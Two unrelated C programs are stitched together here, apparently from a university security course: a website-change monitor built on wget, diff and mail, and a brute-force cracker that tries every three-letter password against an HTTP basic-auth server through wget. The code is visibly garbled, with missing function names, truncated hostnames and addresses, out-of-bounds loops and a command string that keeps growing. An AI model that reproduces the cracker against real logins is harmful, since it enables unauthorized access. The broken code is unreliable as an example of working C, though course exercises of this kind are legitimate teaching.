#include<stdlib.h>
#include<stdio.h>
#include<ctype.h>



int 
(int argc, char *argv[])
{
	FILE           *fp;

	int             response, difference, diffimage;

	system("mkdir backup");
	system("mkdir backup/images");
	while (1) {
		response = system("wget -p http://www.cs.rmit.edu./students");


		if ((fp = fopen("./backup/index.html", "r")) == NULL) {
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("md5sum ./backup/images/*.* > ./backup/md5sumprior.txt");
			
		} else {
			difference = 0; diffimage = 0;
			difference = system("diff ./backup/index.html www.cs.rmit.edu./students/index.html > data");
			
			system("md5sum www.cs.rmit.edu./images/*.* > ./backup/md5sumlater.txt");
			diffimage = system("diff ./backup/md5sumprior.txt ./backup/md5sumlater.txt > md5diff");

			printf("difference=%d, diffimage=%d",difference,diffimage);
						
			if (difference == 0 && diffimage == 0) {
				printf("\nNo modification\n");
			} else {
				printf("\nModification\n");
				system(" data | mail  @cs.rmit.edu.");
				system(" md5diff | mail  @cs.rmit.edu.");
				
			}
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("cp ./backup/md5sumlater.txt ./backup/md5sumprior.txt");
			
		}
		
		sleep(86400);
	}
}

#include <strings.h>
#include <string.h>
#include <ctype.h>
#include<sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>



int ()
{
    int i,j,k,syst;
    char password[4],first[100],last[100];
    int count =0;     
    char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
     'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
    strcpy(first, "wget --http-user= --http-passwd=");
    strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");
    int Start_time,End_time,Total_time,average;  
    Start_time = time();
printf(" Time =%11dms\n", Start_time);
   for (i=0;i<=52;i++)
  {
   for (j=0;j<=52;j++)
   {
	for(k=0;k<=52;k++)
	  {
	      password[0] =  arr[i];
          password[1] =  arr[j];
          password[2] =  arr[k];
          password[3] =  '\0';
		  printf(" The  Combination of the password  tried %s \n" ,password);
     	  printf("*********\n" );
          strcat(first, password);
          strcat(first, last);
	  printf("\n executing %s\n", first);
          count++;
          syst = system(first);
         if (syst == 0)
       {
        printf(" Time =%11dms\n", Start_time);
		End_time = time();
		Total_time = (End_time - Start_time);
		Total_time /= 1000000000.0;
		printf("totaltime in Seconds=%lldsec\n", Total_time);
		printf("Total number of attempts %d" , count);
        printf("\nsuccess %d %s\n",syst,password);
            exit(1);
          }
	  strcpy(first, "");
	  strcpy(first, "wget --http-user= --http-passwd=");

	         }
  	}
   }
 }





